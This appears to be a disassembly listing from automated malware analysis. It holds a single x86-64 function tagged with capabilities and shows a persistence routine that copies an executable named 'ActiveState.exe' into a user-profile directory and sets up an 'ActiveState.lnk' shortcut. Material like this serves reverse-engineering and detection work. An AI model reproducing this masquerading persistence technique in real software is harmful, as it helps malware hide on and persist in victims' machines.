Function at 0x1400873d0
Capabilities:
Check if file exists
Copy file
Create directory
Get file attributes
Persist via lnk shortcut

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x9e8
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x1b2
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0xa08]
mov rax, qword [0x14039e188]
xor rax, rbp
mov qword [rbp + 0x9b8], rax
mov dword [rbp + 0x944], 0
lea rcx, [0x140ed6249]
call fcn.140139478
lea rdx, str.USERNAME
lea rcx, [rbp + 0x3e8]
call fcn.140084ec0
nop
lea rax, [rbp + 0x428]
mov qword [rbp + 0x468], rax
mov rax, qword [rbp + 0x9e0]
add rax, 0x60
mov qword [rbp + 0x958], rax
mov rcx, qword [rbp + 0x9e0]
mov rdx, rcx
mov rcx, qword [rbp + 0x468]
call fcn.140084df0
mov qword [rbp + 0x960], rax
mov rax, qword [rbp + 0x958]
mov r9, rax
lea r8, [rbp + 0x3e8]
mov rdx, qword [rbp + 0x960]
lea rcx, [rbp + 0x488]
call fcn.1400900b0
mov qword [rbp + 0x968], rax
mov rax, qword [rbp + 0x9e0]
mov rdx, qword [rbp + 0x968]
mov rcx, rax
call fcn.140086020
lea rcx, [rbp + 0x488]
call fcn.140085d20
nop
lea rcx, [rbp + 0x3e8]
call fcn.140085d20
lea rdx, str.USERNAME
lea rcx, [rbp + 0x4c8]
call fcn.140084ec0
nop
lea rax, [rbp + 0x508]
mov qword [rbp + 0x548], rax
mov rax, qword [rbp + 0x9e0]
add rax, 0x60
mov qword [rbp + 0x958], rax
mov rcx, qword [rbp + 0x9e0]
add rcx, 0x20
mov rdx, rcx
mov rcx, qword [rbp + 0x548]
call fcn.140084df0
mov qword [rbp + 0x960], rax
mov rax, qword [rbp + 0x958]
mov r9, rax
lea r8, [rbp + 0x4c8]
mov rdx, qword [rbp + 0x960]
lea rcx, [rbp + 0x568]
call fcn.1400900b0
mov qword [rbp + 0x968], rax
mov rax, qword [rbp + 0x9e0]
add rax, 0x20
mov rdx, qword [rbp + 0x968]
mov rcx, rax
call fcn.140086020
lea rcx, [rbp + 0x568]
call fcn.140085d20
nop
lea rcx, [rbp + 0x4c8]
call fcn.140085d20
mov rax, qword [rbp + 0x9e0]
mov rcx, rax
call fcn.14008cd60
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov rax, qword [rbp + 0x9e0]
lea rdx, [0x1402bc8a4]
mov rcx, rax
call fcn.140086ba0
lea rdx, str.ActiveState
lea rcx, [rbp + 0x5a8]
call fcn.14007cb10
mov qword [rbp + 0x958], rax
mov rax, qword [rbp + 0x958]
mov qword [rbp + 0x960], rax
lea r8, str..exe
mov rdx, qword [rbp + 0x960]
lea rcx, [rbp + 0x5e8]
call fcn.14007f990
mov qword [rbp + 0x968], rax
mov rax, qword [rbp + 0x968]
mov qword [rbp + 0x970], rax
mov rdx, qword [rbp + 0x970]
lea rcx, [rbp + 0x628]
call fcn.14008f8f0
mov qword [rbp + 0x978], rax
mov rax, qword [rbp + 0x978]
mov qword [rbp + 0x980], rax
mov rax, qword [rbp + 0x9e0]
mov r8, qword [rbp + 0x980]
mov rdx, rax
lea rcx, [rbp + 8]
call fcn.14007fb90
nop
lea rcx, [rbp + 0x628]
call fcn.140085d20
nop
lea rcx, [rbp + 0x5e8]
call fcn.14007cef0
nop
lea rcx, [rbp + 0x5a8]
call fcn.14007cef0
mov rax, qword [rbp + 0x9e0]
mov rdx, rax
lea rcx, [rbp + 0x48]
call fcn.140084df0
nop
lea rdx, [0x1402bc8a8]
lea rcx, [rbp + 0x88]
call fcn.140084ec0
nop
lea rcx, [rbp + 8]
call fcn.14008cd60
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x140087794
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x140087794
lea rcx, [rbp + 8]
call fcn.14008cd60
mov qword [rbp + 0x958], rax
lea rdx, str.ActiveState
lea rcx, [rbp + 0x668]
call fcn.14007cb10
mov qword [rbp + 0x960], rax
mov rax, qword [rbp + 0x960]
mov qword [rbp + 0x968], rax
lea r8, str..exe
mov rdx, qword [rbp + 0x968]
lea rcx, [rbp + 0x6a8]
call fcn.14007f990
mov qword [rbp + 0x970], rax
mov rax, qword [rbp + 0x970]
mov qword [rbp + 0x978], rax
mov rdx, qword [rbp + 0x978]
lea rcx, [rbp + 0x6e8]
call fcn.14008f8f0
mov qword [rbp + 0x980], rax
mov rcx, qword [rbp + 0x980]
call fcn.14008cd60
mov qword [rbp + 0x988], rax
xor r8d, r8d
mov rdx, qword [rbp + 0x958]
mov rcx, qword [rbp + 0x988]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
lea rcx, [rbp + 0x6e8]
call fcn.140085d20
nop
lea rcx, [rbp + 0x6a8]
call fcn.14007cef0
nop
lea rcx, [rbp + 0x668]
call fcn.14007cef0
lea rdx, str.ActiveState
lea rcx, [rbp + 0x748]
call fcn.14007cb10
mov qword [rbp + 0x958], rax
mov rax, qword [rbp + 0x958]
mov qword [rbp + 0x960], rax
mov eax, dword [rbp + 0x944]
or eax, 1
mov dword [rbp + 0x944], eax
lea r8, str..lnk
mov rdx, qword [rbp + 0x960]
lea rcx, [rbp + 0x788]
call fcn.14007f990
mov qword [rbp + 0x968], rax
mov rax, qword [rbp + 0x968]
mov qword [rbp + 0x970], rax
mov eax, dword [rbp + 0x944]
or eax, 2
mov dword [rbp + 0x944], eax
mov rdx, qword [rbp + 0x970]
lea rcx, [rbp + 0x7c8]
call fcn.14008f8f0
mov qword [rbp + 0x978], rax
mov rax, qword [rbp + 0x978]
mov qword [rbp + 0x980], rax
mov eax, dword [rbp + 0x944]
or eax, 4
mov dword [rbp + 0x944], eax
mov rax, qword [rbp + 0x9e0]
add rax, 0x20
mov r8, qword [rbp + 0x980]
mov rdx, rax
lea rcx, [rbp + 0x808]
call fcn.14007fb90
mov qword [rbp + 0x988], rax
mov eax, dword [rbp + 0x944]
or eax, 8
mov dword [rbp + 0x944], eax
mov rcx, qword [rbp + 0x988]
call fcn.14008cd60
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x1400878a8
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x1400878a8
mov dword [rbp + 0x990], 1
jmp 0x1400878b2
mov dword [rbp + 0x990], 0
movzx eax, byte [rbp + 0x990]
mov byte [rbp + 0x724], al
mov eax, dword [rbp + 0x944]
and eax, 8
test eax, eax
je 0x1400878e0
and dword [rbp + 0x944], 0xfffffff7
lea rcx, [rbp + 0x808]
call fcn.140085d20
nop
mov eax, dword [rbp + 0x944]
and eax, 4
test eax, eax
je 0x140087901
and dword [rbp + 0x944], 0xfffffffb
lea rcx, [rbp + 0x7c8]
call fcn.140085d20
nop
mov eax, dword [rbp + 0x944]
and eax, 2
test eax, eax
je 0x140087922
and dword [rbp + 0x944], 0xfffffffd
lea rcx, [rbp + 0x788]
call fcn.14007cef0
nop
mov eax, dword [rbp + 0x944]
and eax, 1
test eax, eax
je 0x140087942
and dword [rbp + 0x944], 0xfffffffe
lea rcx, [rbp + 0x748]
call fcn.14007cef0
movzx eax, byte [rbp + 0x724]
test eax, eax
je 0x140087aa7
lea rcx, [rbp + 0x88]
call fcn.14008cd60
mov qword [rbp + 0x958], rax
lea rcx, [rbp + 0x48]
call fcn.14008cd60
mov qword [rbp + 0x960], rax
lea rdx, str.ActiveState
lea rcx, [rbp + 0x848]
call fcn.14007cb10
mov qword [rbp + 0x968], rax
mov rax, qword [rbp + 0x968]
mov qword [rbp + 0x970], rax
lea r8, str..lnk
mov rdx, qword [rbp + 0x970]
lea rcx, [rbp + 0x888]
call fcn.14007f990
mov qword [rbp + 0x978], rax
mov rax, qword [rbp + 0x978]
mov qword [rbp + 0x980], rax
mov rdx, qword [rbp + 0x980]
lea rcx, [rbp + 0x8c8]
call fcn.14008f8f0
mov qword [rbp + 0x988], rax
mov rax, qword [rbp + 0x988]
mov qword [rbp + 0x990], rax
mov rax, qword [rbp + 0x9e0]
add rax, 0x20
mov r8, qword [rbp + 0x990]
mov rdx, rax
lea rcx, [rbp + 0x908]
call fcn.14007fb90
mov qword [rbp + 0x998], rax
mov rax, qword [rbp + 0x998]
mov qword [rbp + 0x9a0], rax
mov rcx, qword [rbp + 0x9a0]
call fcn.14008cd60
mov qword [rbp + 0x9a8], rax
lea rcx, [rbp + 8]
call fcn.14008cd60
mov qword [rbp + 0x9b0], rax
mov r9, qword [rbp + 0x958]
mov r8, qword [rbp + 0x960]
mov rdx, qword [rbp + 0x9a8]
mov rcx, qword [rbp + 0x9b0]
call fcn.140087220
mov dword [rbp + 0xc4], eax
lea rcx, [rbp + 0x908]
call fcn.140085d20
nop
lea rcx, [rbp + 0x8c8]
call fcn.140085d20
nop
lea rcx, [rbp + 0x888]
call fcn.14007cef0
nop
lea rcx, [rbp + 0x848]
call fcn.14007cef0
nop
lea rcx, [rbp + 0x88]
call fcn.140085d20
nop
lea rcx, [rbp + 0x48]
call fcn.140085d20
nop
lea rcx, [rbp + 8]
call fcn.140085d20
lea rcx, [rbp - 0x20]
lea rdx, reloc.WS2_32.dll_closesocket
call fcn.140139404
mov rcx, qword [rbp + 0x9b8]
xor rcx, rbp
call fcn.1401395c0
lea rsp, [rbp + 0x9c8]
pop rdi
pop rbp
ret